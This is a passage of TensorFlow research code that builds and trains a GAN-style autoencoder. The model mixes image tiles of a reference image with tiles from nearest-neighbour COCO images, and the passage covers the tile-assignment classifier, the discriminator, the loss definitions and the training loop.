tile_size)\n\n\n # kNN images of quadrant t4 ############################################################################################\n for id in range(self.batch_size):\n t4_10nn_ids_b = t4_10nn_ids[id]\n index = nn_id[id]\n t4_10nn_id = tf.gather(t4_10nn_ids_b, index)\n t4_10nn_id_str = tf.as_string(t4_10nn_id)\n t4_10nn_subids_b = t4_10nn_subids[id]\n t4_10nn_subid = tf.gather(t4_10nn_subids_b, index)\n t4_10nn_subid_str = tf.as_string(t4_10nn_subid)\n postfix = underscore + t4_10nn_subid_str + filetype\n fname = get_coco_filename(t4_10nn_id_str, postfix)\n t4_10nn_fnames = fname if id == 0 else tf.concat(axis=0, values=[t4_10nn_fnames, fname])\n self.images_t4_fnames = t4_10nn_fnames\n with tf.control_dependencies([tf.assert_equal(self.batch_size, t4_10nn_fnames.shape[0]), tf.assert_equal(tf.strings.length(t4_10nn_fnames), 18)]):\n t4_10nn_fnames = tf.strings.join([path, t4_10nn_fnames])\n for id in range(self.batch_size):\n file = tf.read_file(t4_10nn_fnames[id])\n file = tf.image.decode_jpeg(file)\n file = resize_img(file, image_size, self.batch_size)\n file = tf.expand_dims(file, 0)\n t4_10nn_images = file if id == 0 else tf.concat(axis=0, values=[t4_10nn_images, file])\n self.images_t4 = t4_10nn_images\n # create tile for I_t4 (only for logging purposes)\n self.I_t4_tile = tf.image.crop_to_bounding_box(self.images_t4, tile_size, tile_size, tile_size, tile_size)\n\n\n # ###########################################################################################################\n # ###########################################################################################################\n\n # 12.11: currently leave scaling idea out and first focus on the core clustering idea\n\n self.chunk_num = self.params.chunk_num\n \"\"\" number of chunks: 8 \"\"\"\n self.chunk_size = self.params.chunk_size\n \"\"\" size per chunk: 64 \"\"\"\n self.feature_size_tile = self.chunk_size * self.chunk_num\n \"\"\" equals the size of all chunks from a single tile \"\"\"\n self.feature_size = self.feature_size_tile * NUM_TILES_L2_MIX\n \"\"\" equals the size of the full image feature \"\"\"\n\n # each tile chunk is initialized with 1's\n a_tile_chunk = tf.ones((self.batch_size, self.feature_size_tile), dtype=tf.int32)\n assert a_tile_chunk.shape[0] == self.batch_size\n assert a_tile_chunk.shape[1] == self.feature_size_tile\n\n with tf.variable_scope('generator') as scope_generator:\n #self.I_ref_f1 = self.encoder(self.I_ref_t1)\n # params for ENCODER\n model = self.params.autoencoder_model\n coordConvLayer = True\n ####################\n\n self.I_ref_f = encoder_dense(self.images_I_ref, self.batch_size, self.feature_size, dropout_p=0.0, preset_model=model, addCoordConv=coordConvLayer)\n assert self.I_ref_f.shape[0] == self.batch_size\n assert self.I_ref_f.shape[1] == self.feature_size\n\n # if model == 'FC-DenseNet-RF-46':\n # (receptive_field_x, receptive_field_y, _, _, _, _) = receptive_field.compute_receptive_field_from_graph_def(\n # self.sess.graph, \"generator/g_1_enc/first_conv/Conv2D\", \"generator/g_1_enc/transitiondown-final/max_pool\")\n # assert receptive_field_x == receptive_field_y\n # print('receptive field: %dx%d' % (receptive_field_x, receptive_field_y))\n # elif model == 'encoder_rf46':\n # (receptive_field_x, receptive_field_y, _, _, _, _) = receptive_field.compute_receptive_field_from_graph_def(\n # self.sess.graph, \"generator/g_1_enc/first_conv/Conv2D\", \"generator/g_1_enc/TD-final/TD-final_2_co/BiasAdd\")\n # assert receptive_field_x == receptive_field_y\n # print('receptive field: %dx%d' % (receptive_field_x, receptive_field_y))\n # assert 1 == 0\n # else:\n # (receptive_field_x, receptive_field_y, _, _, _, _) = receptive_field.compute_receptive_field_from_graph_def(\n # self.sess.graph, \"generator/g_1_enc/first_conv/Conv2D\", \"generator/g_1_enc/logits/BiasAdd\")\n # assert receptive_field_x == receptive_field_y\n # print('receptive field: %dx%d' % (receptive_field_x, receptive_field_y))\n\n feature_tile_shape = [self.batch_size, self.feature_size_tile]\n self.I_ref_f1 = tf.slice(self.I_ref_f, [0, self.feature_size_tile * 0], feature_tile_shape)\n self.I_ref_f2 = tf.slice(self.I_ref_f, [0, self.feature_size_tile * 1], feature_tile_shape)\n self.I_ref_f3 = tf.slice(self.I_ref_f, [0, self.feature_size_tile * 2], feature_tile_shape)\n self.I_ref_f4 = tf.slice(self.I_ref_f, [0, self.feature_size_tile * 3], feature_tile_shape)\n assert self.I_ref_f1.shape[0] == self.batch_size\n assert self.I_ref_f1.shape[1] == self.feature_size_tile\n assert self.I_ref_f1.shape == self.I_ref_f2.shape\n assert self.I_ref_f3.shape == self.I_ref_f4.shape\n\n # this is used to build up graph nodes (variables) -> for later reuse_variables..\n self.decoder(self.I_ref_f, preset_model=model, dropout_p=0.0)\n\n # Classifier\n # -> this is used to build up graph nodes (variables) -> for later reuse_variables..\n #__self.classifier(self.images_I_ref, self.images_I_ref, self.images_I_ref, self.images_I_ref, self.images_I_ref, self.images_I_ref)\n self.classifier_two_image(self.images_I_ref, self.images_I_ref)\n\n # to share the weights between the Encoders\n scope_generator.reuse_variables()\n\n self.I_t1_f = encoder_dense(self.images_t1, self.batch_size, self.feature_size, dropout_p=0.0, preset_model=model, addCoordConv=coordConvLayer)\n self.t1_f = tf.slice(self.I_t1_f, [0, self.feature_size_tile * 0], feature_tile_shape)\n self.I_t2_f = encoder_dense(self.images_t2, self.batch_size, self.feature_size, dropout_p=0.0, preset_model=model, addCoordConv=coordConvLayer)\n self.t2_f = tf.slice(self.I_t2_f, [0, self.feature_size_tile * 1], feature_tile_shape)\n self.I_t3_f = encoder_dense(self.images_t3, self.batch_size, self.feature_size, dropout_p=0.0, preset_model=model, addCoordConv=coordConvLayer)\n self.t3_f = tf.slice(self.I_t3_f, [0, self.feature_size_tile * 2], feature_tile_shape)\n self.I_t4_f = encoder_dense(self.images_t4, self.batch_size, self.feature_size, dropout_p=0.0, preset_model=model, addCoordConv=coordConvLayer)\n self.t4_f = tf.slice(self.I_t4_f, [0, self.feature_size_tile * 3], feature_tile_shape)\n\n # ###########################################################################################################\n # 1) replace tile w/ max L2 wrt I_ref w/ respective tile of I_ref\n # 2) replaces tiles t_i w/ I_ref where L2(t_i) > tau\n # 3) ensure tile t_i w/ min L2(t_i) is selected\n # ultimately, we want to construct f_Iref_I2_mix for generation of new image\n tau = self.params.threshold_L2\n\n for id in range(self.batch_size):\n index = nn_id[id]\n\n t1_10nn_L2_b = tf.gather(t1_10nn_L2[id], index)\n t2_10nn_L2_b = tf.gather(t2_10nn_L2[id], index)\n t3_10nn_L2_b = tf.gather(t3_10nn_L2[id], index)\n t4_10nn_L2_b = tf.gather(t4_10nn_L2[id], index)\n all_L2 = tf.stack(axis=0, values=[t1_10nn_L2_b, t2_10nn_L2_b, t3_10nn_L2_b, t4_10nn_L2_b])\n argmax_L2 = tf.argmax(tf.reshape(all_L2, [-1]), axis=0)\n argmin_L2 = tf.argmin(tf.reshape(all_L2, [-1]), axis=0)\n\n # pick I_ref_t1 IFF t1 is argmax L2 or L2 > TAU and t1 is not argmin L2\n is_t1_maxL2 = tf.equal(argmax_L2, 0)\n is_t1_minL2 = tf.equal(argmin_L2, 0)\n cond_Iref_t1 = tf.logical_and(tf.logical_or(is_t1_maxL2, tf.greater(t1_10nn_L2_b, tau)), tf.logical_not(is_t1_minL2))\n tile_1 = tf.expand_dims(tf.where(cond_Iref_t1, self.I_ref_t1[id], self.I_t1_tile[id]), 0)\n # for the assignment mask e.g. [0 1 1 0], of shape (4,)\n # 0 selects the corresponding tile from I_ref\n # 1 selects the corresponding tile from I_M\n assignment_1 = tf.where(cond_Iref_t1, 0, 1)\n self.J_1_tile = tile_1 if id == 0 else tf.concat(axis=0, values=[self.J_1_tile, tile_1])\n feature_1 = tf.expand_dims(tf.where(cond_Iref_t1, self.I_ref_f1[id], self.t1_f[id]), 0)\n\n is_t2_maxL2 = tf.equal(argmax_L2, 1)\n is_t2_minL2 = tf.equal(argmin_L2, 1)\n cond_Iref_t2 = tf.logical_and(tf.logical_or(is_t2_maxL2, tf.greater(t2_10nn_L2_b, tau)), tf.logical_not(is_t2_minL2))\n tile_2 = tf.expand_dims(tf.where(cond_Iref_t2, self.I_ref_t2[id], self.I_t2_tile[id]), 0)\n assignment_2 = tf.where(cond_Iref_t2, 0, 1)\n self.J_2_tile = tile_2 if id == 0 else tf.concat(axis=0, values=[self.J_2_tile, tile_2])\n feature_2 = tf.expand_dims(tf.where(cond_Iref_t2, self.I_ref_f2[id], self.t2_f[id]), 0)\n\n is_t3_maxL2 = tf.equal(argmax_L2, 2)\n is_t3_minL2 = tf.equal(argmin_L2, 2)\n cond_Iref_t3 = tf.logical_and(tf.logical_or(is_t3_maxL2, tf.greater(t3_10nn_L2_b, tau)), tf.logical_not(is_t3_minL2))\n tile_3 = tf.expand_dims(tf.where(cond_Iref_t3, self.I_ref_t3[id], self.I_t3_tile[id]), 0)\n assignment_3 = tf.where(cond_Iref_t3, 0, 1)\n self.J_3_tile = tile_3 if id == 0 else tf.concat(axis=0, values=[self.J_3_tile, tile_3])\n feature_3 = tf.expand_dims(tf.where(cond_Iref_t3, self.I_ref_f3[id], self.t3_f[id]), 0)\n\n is_t4_maxL2 = tf.equal(argmax_L2, 3)\n is_t4_minL2 = tf.equal(argmin_L2, 3)\n cond_Iref_t4 = tf.logical_and(tf.logical_or(is_t4_maxL2, tf.greater(t4_10nn_L2_b, tau)), tf.logical_not(is_t4_minL2))\n tile_4 = tf.expand_dims(tf.where(cond_Iref_t4, self.I_ref_t4[id], self.I_t4_tile[id]), 0)\n assignment_4 = tf.where(cond_Iref_t4, 0, 1)\n self.J_4_tile = tile_4 if id == 0 else tf.concat(axis=0, values=[self.J_4_tile, tile_4])\n feature_4 = tf.expand_dims(tf.where(cond_Iref_t4, self.I_ref_f4[id], self.t4_f[id]), 0)\n\n # only for logging purposes START\n assignments = tf.stack(axis=0, values=[assignment_1, assignment_2, assignment_3, assignment_4])\n assignments = tf.expand_dims(tf.reshape(assignments, [-1]), 0)\n self.assignments_actual = assignments if id == 0 else tf.concat(axis=0, values=[self.assignments_actual, assignments]) # or 'mask'\n # only for logging purposes END\n\n next_assignment = tf.stack(axis=0, values=[assignment_1, ZERO, ZERO, ZERO])\n next_assignment = tf.expand_dims(tf.reshape(next_assignment, [-1]), 0)\n self.assignments_actual_t1 = next_assignment if id == 0 else tf.concat(axis=0, values=[self.assignments_actual_t1, next_assignment])\n next_assignment = tf.stack(axis=0, values=[ZERO, assignment_2, ZERO, ZERO])\n next_assignment = tf.expand_dims(tf.reshape(next_assignment, [-1]), 0)\n self.assignments_actual_t2 = next_assignment if id == 0 else tf.concat(axis=0, values=[self.assignments_actual_t2, next_assignment])\n next_assignment = tf.stack(axis=0, values=[ZERO, ZERO, assignment_3, ZERO])\n next_assignment = tf.expand_dims(tf.reshape(next_assignment, [-1]), 0)\n self.assignments_actual_t3 = next_assignment if id == 0 else tf.concat(axis=0, values=[self.assignments_actual_t3, next_assignment])\n next_assignment = tf.stack(axis=0, values=[ZERO, ZERO, ZERO, assignment_4])\n next_assignment = tf.expand_dims(tf.reshape(next_assignment, [-1]), 0)\n self.assignments_actual_t4 = next_assignment if id == 0 else tf.concat(axis=0, values=[self.assignments_actual_t4, next_assignment])\n\n assert feature_1.shape[0] == 1\n assert feature_1.shape[1] == self.feature_size_tile\n assert feature_1.shape[0] == feature_2.shape[0] and feature_1.shape[1] == feature_2.shape[1]\n assert feature_2.shape[0] == feature_3.shape[0] and feature_2.shape[1] == feature_3.shape[1]\n assert feature_2.shape[0] == feature_4.shape[0] and feature_2.shape[1] == feature_4.shape[1]\n assert feature_1.shape[1] == a_tile_chunk.shape[1]\n\n f_features_selected = tf.concat(axis=0, values=[feature_1, feature_2, feature_3, feature_4]) # axis=1\n f_features_selected = tf.reshape(f_features_selected, [-1])\n f_features_selected = tf.expand_dims(f_features_selected, 0)\n self.f_I_ref_I_M_mix = f_features_selected if id == 0 else tf.concat(axis=0, values=[self.f_I_ref_I_M_mix, f_features_selected])\n\n assert self.assignments_actual_t1.shape[0] == self.batch_size\n assert self.assignments_actual_t1.shape[1] == NUM_TILES_L2_MIX\n assert self.assignments_actual_t1.shape == self.assignments_actual_t2.shape\n assert self.assignments_actual_t2.shape == self.assignments_actual_t3.shape\n assert self.assignments_actual_t3.shape == self.assignments_actual_t4.shape\n assert self.f_I_ref_I_M_mix.shape[0] == self.batch_size\n assert self.f_I_ref_I_M_mix.shape[1] == self.feature_size\n\n # just for logging purposes __start ###\n row1 = tf.concat([self.J_1_tile, self.J_3_tile], axis=1)\n row2 = tf.concat([self.J_2_tile, self.J_4_tile], axis=1)\n self.images_I_M_mix = tf.concat([row1, row2], axis=2)\n # just for logging purposes __end ###\n\n # build composite feature including all I_ref tile features\n self.images_I_ref_hat = self.decoder(self.I_ref_f, preset_model=model, dropout_p=0.0)\n assert self.images_I_ref_hat.shape[1] == self.image_size\n # Enc/Dec for I_ref __end ##########################################\n\n self.images_t1_hat = self.decoder(self.I_t1_f, preset_model=model, dropout_p=0.0)\n\n # Dec I_ref_I_M_mix\n self.images_I_ref_I_M_mix = self.decoder(self.f_I_ref_I_M_mix, preset_model=model, dropout_p=0.0)\n\n # CLS\n #__ self.assignments_predicted = self.classifier(self.images_I_ref_I_M_mix, self.images_I_ref, self.images_t1, self.images_t2, self.images_t3, self.images_t4)\n self.assignments_predicted_t1 = self.classifier_two_image(self.images_I_ref_I_M_mix, self.images_t1)\n self.assignments_predicted_t2 = self.classifier_two_image(self.images_I_ref_I_M_mix, self.images_t2)\n self.assignments_predicted_t3 = self.classifier_two_image(self.images_I_ref_I_M_mix, self.images_t3)\n self.assignments_predicted_t4 = self.classifier_two_image(self.images_I_ref_I_M_mix, self.images_t4)\n\n \"\"\" assignments_predicted is of size (batch_size, 4) \"\"\"\n assert self.assignments_predicted_t1.shape[0] == self.batch_size\n assert self.assignments_predicted_t1.shape[1] == NUM_TILES_L2_MIX\n assert self.assignments_predicted_t1.shape == self.assignments_predicted_t2.shape\n assert self.assignments_predicted_t2.shape == self.assignments_predicted_t3.shape\n assert self.assignments_predicted_t3.shape == self.assignments_predicted_t4.shape\n\n # # cf original mask\n # self.mask_actual = tf.cast(tf.ones((self.batch_size, NUM_TILES_L2_MIX), dtype=tf.int32) * self.mask, tf.float32)\n # \"\"\" mask_actual: mask (4,) scaled to batch_size, of shape (64, 4) \"\"\"\n assert self.assignments_predicted_t1.shape == self.assignments_actual_t1.shape\n\n # build composite feature including all I1 tile features\n self.f_I_ref_I_M_mix_hat = encoder_dense(self.images_I_ref_I_M_mix, self.batch_size, self.feature_size, dropout_p=0.0, preset_model=model, addCoordConv=coordConvLayer)\n assert self.f_I_ref_I_M_mix_hat.shape == self.f_I_ref_I_M_mix.shape\n assert self.f_I_ref_I_M_mix_hat.shape[1] == self.feature_size\n\n\n # RECONSTRUCT I_ref_f_hat/I_t1_f_hat etc. FROM f_I_ref_I_M_mix_hat START\n # reconstruction of feature vector for tile t1\n tile_id = 0\n f_mix_tile_feature, tile_assignments = self.reconstruct_I_ref_f(tile_id, a_tile_chunk)\n I_t1_f_tile1 = tf.where(tf.equal(tile_assignments * a_tile_chunk, FROM_I_M), f_mix_tile_feature, self.t1_f)\n assert I_t1_f_tile1.shape == a_tile_chunk.shape\n I_t1_f_post = tf.slice(self.I_t1_f, [0, self.feature_size_tile * 1], [self.batch_size, self.feature_size_tile * 3])\n self.I_t1_f_hat = tf.concat(axis=1, values=[I_t1_f_tile1, I_t1_f_post])\n assert self.I_t1_f_hat.shape == self.I_t1_f.shape\n\n # reconstruction of feature vector for tile t2\n tile_id = 1\n f_mix_tile_feature, tile_assignments = self.reconstruct_I_ref_f(tile_id, a_tile_chunk)\n I_t2_f_tile2 = tf.where(tf.equal(tile_assignments * a_tile_chunk, FROM_I_M), f_mix_tile_feature, self.t2_f)\n assert I_t2_f_tile2.shape == a_tile_chunk.shape\n I_t2_f_pre = tf.slice(self.I_t2_f, [0, self.feature_size_tile * 0], feature_tile_shape)\n I_t2_f_post = tf.slice(self.I_t2_f, [0, self.feature_size_tile * 2], [self.batch_size, self.feature_size_tile * 2])\n self.I_t2_f_hat = tf.concat(axis=1, values=[I_t2_f_pre, I_t2_f_tile2, I_t2_f_post])\n assert self.I_t2_f_hat.shape == self.I_t2_f.shape\n\n # reconstruction of feature vector for tile t3\n tile_id = 2\n f_mix_tile_feature, tile_assignments = self.reconstruct_I_ref_f(tile_id, a_tile_chunk)\n I_t3_f_tile3 = tf.where(tf.equal(tile_assignments * a_tile_chunk, FROM_I_M), f_mix_tile_feature, self.t3_f)\n assert I_t3_f_tile3.shape == a_tile_chunk.shape\n assert self.I_t3_f.shape[1] == self.feature_size_tile * 4\n I_t3_f_pre = tf.slice(self.I_t3_f, [0, self.feature_size_tile * 0], [self.batch_size, self.feature_size_tile * 2])\n I_t3_f_post = tf.slice(self.I_t3_f, [0, self.feature_size_tile * 3], feature_tile_shape)\n self.I_t3_f_hat = tf.concat(axis=1, values=[I_t3_f_pre, I_t3_f_tile3, I_t3_f_post])\n assert self.I_t3_f_hat.shape == self.I_t3_f.shape\n\n # reconstruction of feature vector for tile t4\n tile_id = 3\n f_mix_tile_feature, tile_assignments = self.reconstruct_I_ref_f(tile_id, a_tile_chunk)\n I_t4_f_tile4 = tf.where(tf.equal(tile_assignments * a_tile_chunk, FROM_I_M), f_mix_tile_feature, self.t4_f)\n assert I_t4_f_tile4.shape == a_tile_chunk.shape\n I_t4_f_pre = tf.slice(self.I_t4_f, [0, self.feature_size_tile * 0], [self.batch_size, self.feature_size_tile * 3])\n self.I_t4_f_hat = tf.concat(axis=1, values=[I_t4_f_pre, I_t4_f_tile4])\n assert self.I_t4_f_hat.shape == self.I_t4_f.shape\n\n assert self.I_ref_f_hat.shape[0] == self.batch_size\n assert self.I_ref_f_hat.shape[1] == self.feature_size\n assert self.I_ref_f_hat.shape == self.I_ref_f.shape\n # RECONSTRUCT I_ref_f_hat/I_t1_f_hat etc. FROM f_I_ref_I_M_mix_hat END\n\n # decode to I_ref_4 for L2 with I_ref\n self.images_I_ref_4 = self.decoder(self.I_ref_f_hat, preset_model=model, dropout_p=0.0)\n \"\"\" images_I4: batch of reconstructed images I4 with shape (batch_size, 128, 128, 3) \"\"\"\n # decode to t1_4 for L2 with t1\n self.images_t1_4 = self.decoder(self.I_t1_f_hat, preset_model=model, dropout_p=0.0)\n self.images_t2_4 = self.decoder(self.I_t2_f_hat, preset_model=model, dropout_p=0.0)\n self.images_t3_4 = self.decoder(self.I_t3_f_hat, preset_model=model, dropout_p=0.0)\n self.images_t4_4 = self.decoder(self.I_t4_f_hat, preset_model=model, dropout_p=0.0)\n\n self.images_I_ref_hat_psnr = tf.reduce_mean(tf.image.psnr(self.images_I_ref, self.images_I_ref_hat, max_val=1.0))\n self.images_I_ref_4_psnr = tf.reduce_mean(tf.image.psnr(self.images_I_ref, self.images_I_ref_4, max_val=1.0))\n self.images_t1_4_psnr = tf.reduce_mean(tf.image.psnr(self.images_t1, self.images_t1_4, max_val=1.0))\n self.images_t3_4_psnr = tf.reduce_mean(tf.image.psnr(self.images_t3, self.images_t3_4, max_val=1.0))\n\n\n with tf.variable_scope('classifier_loss'):\n # Cls loss; assignments_actual here is GT, cls should predict correct mask..\n cls_loss_t1 = tf.reduce_mean(tf.nn.sigmoid_cross_entropy_with_logits(logits=self.assignments_predicted_t1, labels=tf.cast(self.assignments_actual_t1, tf.float32)))\n cls_loss_t2 = tf.reduce_mean(tf.nn.sigmoid_cross_entropy_with_logits(logits=self.assignments_predicted_t2, labels=tf.cast(self.assignments_actual_t2, tf.float32)))\n cls_loss_t3 = tf.reduce_mean(tf.nn.sigmoid_cross_entropy_with_logits(logits=self.assignments_predicted_t3, labels=tf.cast(self.assignments_actual_t3, tf.float32)))\n cls_loss_t4 = tf.reduce_mean(tf.nn.sigmoid_cross_entropy_with_logits(logits=self.assignments_predicted_t4, labels=tf.cast(self.assignments_actual_t4, tf.float32)))\n self.cls_loss = 0.25 * cls_loss_t1 + 0.25 * cls_loss_t2 + 0.25 * cls_loss_t3 + 0.25 * cls_loss_t4\n\n \"\"\" cls_loss: a scalar, of shape () \"\"\"\n\n with tf.variable_scope('discriminator'):\n # Dsc for I1\n self.dsc_I_ref = self.discriminator(self.images_I_ref)\n \"\"\" dsc_I_ref: real/fake, of shape (64, 1) \"\"\"\n # Dsc for I3\n self.dsc_I_ref_I_M_mix = self.discriminator(self.images_I_ref_I_M_mix, reuse=True)\n \"\"\" dsc_I_ref_I_M_mix: real/fake, of shape (64, 1) \"\"\"\n if self.useIRefAndMixForGanLoss:\n self.dsc_I_ref_hat = self.discriminator(self.images_I_ref_hat, reuse=True)\n\n # just for logging purposes:\n dsc_I_ref_sigm = tf.nn.sigmoid(self.dsc_I_ref)\n dsc_I_ref_I_M_mix_sigm = tf.nn.sigmoid(self.dsc_I_ref_I_M_mix)\n self.dsc_I_ref_mean = tf.reduce_mean(dsc_I_ref_sigm)\n self.dsc_I_ref_I_M_mix_mean = tf.reduce_mean(dsc_I_ref_I_M_mix_sigm)\n self.v_g_d = tf.reduce_mean(tf.log(dsc_I_ref_sigm) + tf.log(1 - dsc_I_ref_I_M_mix_sigm))\n\n with tf.variable_scope('discriminator_loss'):\n # Dsc loss x1\n self.dsc_loss_real = tf.reduce_mean(tf.nn.sigmoid_cross_entropy_with_logits(logits=self.dsc_I_ref, labels=tf.ones_like(self.dsc_I_ref)))\n print(\"self.dsc_loss_real: \", self.dsc_loss_real)\n # Dsc loss x3\n # this is max_D part of minmax loss function\n\n if self.useIRefAndMixForGanLoss:\n self.dsc_loss_fake = tf.reduce_mean(tf.nn.sigmoid_cross_entropy_with_logits(logits=self.dsc_I_ref_I_M_mix, labels=tf.zeros_like(self.dsc_I_ref_I_M_mix)))\n print(\"self.dsc_loss_fake: \", self.dsc_loss_fake)\n self.dsc_loss_fake_Iref = tf.reduce_mean(tf.nn.sigmoid_cross_entropy_with_logits(logits=self.dsc_I_ref_hat, labels=tf.zeros_like(self.dsc_I_ref_hat)))\n print(\"self.dsc_loss_fake_Iref: \", self.dsc_loss_fake_Iref)\n self.dsc_loss = self.dsc_loss_real + (self.lambda_mix * self.dsc_loss_fake + self.lambda_ref * self.dsc_loss_fake_Iref)\n else:\n self.dsc_loss_fake = tf.reduce_mean(tf.nn.sigmoid_cross_entropy_with_logits(logits=self.dsc_I_ref_I_M_mix, labels=tf.zeros_like(self.dsc_I_ref_I_M_mix)))\n print(\"self.dsc_loss_fake: \", self.dsc_loss_fake)\n self.dsc_loss = self.dsc_loss_real + self.dsc_loss_fake\n\n \"\"\" dsc_loss: a scalar, of shape () \"\"\"\n\n with tf.variable_scope('generator_loss'):\n # D (fix Dsc you have loss for G) -> cf. Dec\n # images_x3 = Dec(f_1_2) = G(f_1_2); Dsc(images_x3) = dsc_x3\n # rationale behind g_loss: this is min_G part of minmax loss function: min log D(G(x))\n if self.useIRefAndMixForGanLoss:\n self.g_loss_mix = tf.reduce_mean(tf.nn.sigmoid_cross_entropy_with_logits(logits=self.dsc_I_ref_I_M_mix, labels=tf.ones_like(self.dsc_I_ref_I_M_mix)))\n self.g_loss_ref = tf.reduce_mean(tf.nn.sigmoid_cross_entropy_with_logits(logits=self.dsc_I_ref_hat, labels=tf.ones_like(self.dsc_I_ref_hat)))\n self.g_loss = self.lambda_mix * self.g_loss_mix + self.lambda_ref * self.g_loss_ref\n else:\n self.g_loss = tf.reduce_mean(tf.nn.sigmoid_cross_entropy_with_logits(logits=self.dsc_I_ref_I_M_mix, labels=tf.ones_like(self.dsc_I_ref_I_M_mix)))\n\n with tf.variable_scope('L1'):\n # Reconstruction loss L1 between I_ref and I_ref_hat (to ensure autoencoder works properly)\n self.rec_loss_I_ref_hat_I_ref = tf.reduce_mean(tf.abs(self.images_I_ref_hat - self.images_I_ref))\n \"\"\" rec_loss_I_ref_hat_I_ref: a scalar, of shape () \"\"\"\n\n # Reconstruction loss L1 between t1 and t1_hat (to ensure autoencoder works properly)\n # NB: I argue that the following rec_loss is not required as every image will become I_ref eventually i.e. I_ref rec loss covers all images\n # -> just use for summary purposes\n self.rec_loss_I_t1_hat_I_t1 = tf.reduce_mean(tf.abs(self.images_t1_hat - self.images_t1))\n\n # L1 between I1 and I4\n self.rec_loss_I_ref_4_I_ref = tf.reduce_mean(tf.abs(self.images_I_ref_4 - self.images_I_ref))\n\n # L1 between t1 and t1_4\n # NB: I argue that the following rec_loss is not required as every image will become I_ref eventually i.e. I_ref rec loss covers all images\n # -> just use for summary purposes\n self.rec_loss_I_t1_4_I_t1 = tf.reduce_mean(tf.abs(self.images_t1_4 - self.images_t1))\n self.rec_loss_I_t2_4_I_t2 = tf.reduce_mean(tf.abs(self.images_t2_4 - self.images_t2))\n self.rec_loss_I_t3_4_I_t3 = tf.reduce_mean(tf.abs(self.images_t3_4 - self.images_t3))\n self.rec_loss_I_t4_4_I_t4 = tf.reduce_mean(tf.abs(self.images_t4_4 - self.images_t4))\n\n\n self.bn_assigners = tf.group(*batch_norm.assigners)\n\n t_vars = tf.trainable_variables()\n # Tf stuff (tell variables how to train..)\n self.dsc_vars = [var for var in t_vars if 'discriminator' in var.name and 'd_' in var.name] # discriminator\n self.gen_vars = [var for var in t_vars if 'generator' in var.name and 'g_' in var.name] # encoder + decoder (generator)\n self.cls_vars = [var for var in t_vars if 'c_' in var.name] # classifier\n self.print_model_params(t_vars)\n\n # save the weights\n self.saver = tf.train.Saver(self.dsc_vars + self.gen_vars + self.cls_vars + batch_norm.shadow_variables, max_to_keep=5)\n if self.params.is_train:\n self.saver_metrics = tf.train.Saver(self.dsc_vars + self.gen_vars + self.cls_vars + batch_norm.shadow_variables, max_to_keep=None)\n print(\"build_model() ------------------------------------------<\")\n # END of build_model\n\n\n def train(self, params):\n \"\"\"Train DCGAN\"\"\"\n\n if params.continue_from_iteration:\n iteration = params.continue_from_iteration\n else:\n iteration = 0\n\n global_step = tf.Variable(iteration, name='global_step', trainable=False)\n\n if params.learning_rate_generator:\n self.g_learning_rate = params.learning_rate_generator\n else:\n self.g_learning_rate = tf.train.exponential_decay(0.0002, global_step=global_step,\n decay_steps=20000, decay_rate=0.9, staircase=True)\n\n if params.learning_rate_discriminator:\n self.d_learning_rate = params.learning_rate_discriminator\n else:\n self.d_learning_rate = tf.train.exponential_decay(0.0002, global_step=global_step,\n decay_steps=20000, decay_rate=0.9, staircase=True)\n\n self.c_learning_rate = tf.train.exponential_decay(0.0002, global_step=global_step,\n decay_steps=20000, decay_rate=0.9, staircase=True)\n\n print('g_learning_rate: %s' % self.g_learning_rate)\n print('d_learning_rate: %s' % self.d_learning_rate)\n print('c_learning_rate: %s' % self.c_learning_rate)\n\n lambda_L2 = params.lambda_L2 # initial: 0.996\n lambda_Ladv = params.lambda_Ladv # initial: 0.002\n lambda_Lcls = params.lambda_Lcls # initial: 0.002\n losses_l2 = self.rec_loss_I_ref_hat_I_ref + self.rec_loss_I_ref_4_I_ref\n g_loss_comp = lambda_L2 * losses_l2 + lambda_Ladv * self.g_loss + lambda_Lcls * self.cls_loss\n\n # for autoencoder\n g_optim = tf.train.AdamOptimizer(learning_rate=self.g_learning_rate, beta1=params.beta1, beta2=params.beta2) \\\n .minimize(g_loss_comp, var_list=self.gen_vars) # includes encoder + decoder weights\n # for classifier\n c_optim = tf.train.AdamOptimizer(learning_rate=self.c_learning_rate, beta1=0.5) \\\n .minimize(self.cls_loss, var_list=self.cls_vars) # params.beta1\n # for Dsc\n d_optim = tf.train.AdamOptimizer(learning_rate=self.d_learning_rate, beta1=params.beta1, beta2=params.beta2) \\\n .minimize(self.dsc_loss, var_list=self.dsc_vars, global_step=global_step)\n\n # what you specify in the argument to control_dependencies is ensured to be evaluated before anything you define in the with block\n with tf.control_dependencies([g_optim]):\n # this is also part of BP/training; this line is a fix re BN acc. to Stackoverflow\n g_optim = tf.group(self.bn_assigners)\n\n tf.global_variables_initializer().run()\n\n if params.continue_from:\n ckpt_name = self.load(params, params.continue_from_iteration)\n iteration = int(ckpt_name[ckpt_name.rfind('-')+1:])\n print('continuing from \\'%s\\'...' % ckpt_name)\n global_step.load(iteration) # load new initial value into variable\n\n # simple mechanism to coordinate the termination of a set of threads\n coord = tf.train.Coordinator()\n threads = tf.train.start_queue_runners(sess=self.sess, coord=coord)\n caccop1, caccop2, caccop3, caccop4 = self.make_summary_ops(g_loss_comp, losses_l2)\n\n self.initialize_uninitialized(tf.global_variables(), \"global\")\n self.initialize_uninitialized(tf.local_variables(), \"local\")\n\n summary_op = tf.summary.merge_all()\n summary_writer = tf.summary.FileWriter(params.summary_dir)\n summary_writer.add_graph(self.sess.graph)\n\n update_ops = tf.get_collection(SPECTRAL_NORM_UPDATE_OPS)\n\n try:\n signal.signal(signal.SIGTERM, self.handle_exit)\n\n iter_per_epoch = (self.params.num_images / self.batch_size)\n\n last_epoch = int(iteration // iter_per_epoch) + 1\n\n # Training\n while not coord.should_stop():\n # Update D and G network\n # exp69/70: do GEN update 2x\n self.sess.run([g_optim])\n self.sess.run([g_optim])\n\n self.sess.run([caccop1, caccop2, caccop3, caccop4, c_optim])\n self.sess.run([d_optim])\n\n iteration += 1\n\n epoch = int(iteration // iter_per_epoch) + 1\n print('iteration: %s, epoch: %d' % (str(iteration), epoch))\n\n if iteration % 100 == 0:\n _,_,_,_, summary_str = self.sess.run([caccop1, caccop2, caccop3, caccop4, summary_op])\n summary_writer.add_summary(summary_str, iteration)\n\n if np.mod(iteration, 500) == 1:\n self.dump_images(iteration)\n\n if iteration > 1 and np.mod(iteration, 500) == 0:\n self.save(params.checkpoint_dir, iteration)\n\n if epoch > last_epoch:\n self.save_metrics(last_epoch)\n last_epoch = epoch\n\n # for spectral normalization\n for update_op in update_ops:\n self.sess.run(update_op)\n\n if self.end:\n print('going to shutdown now...')\n self.params.iterations = iteration\n self.save(params.checkpoint_dir, iteration) # save model again\n 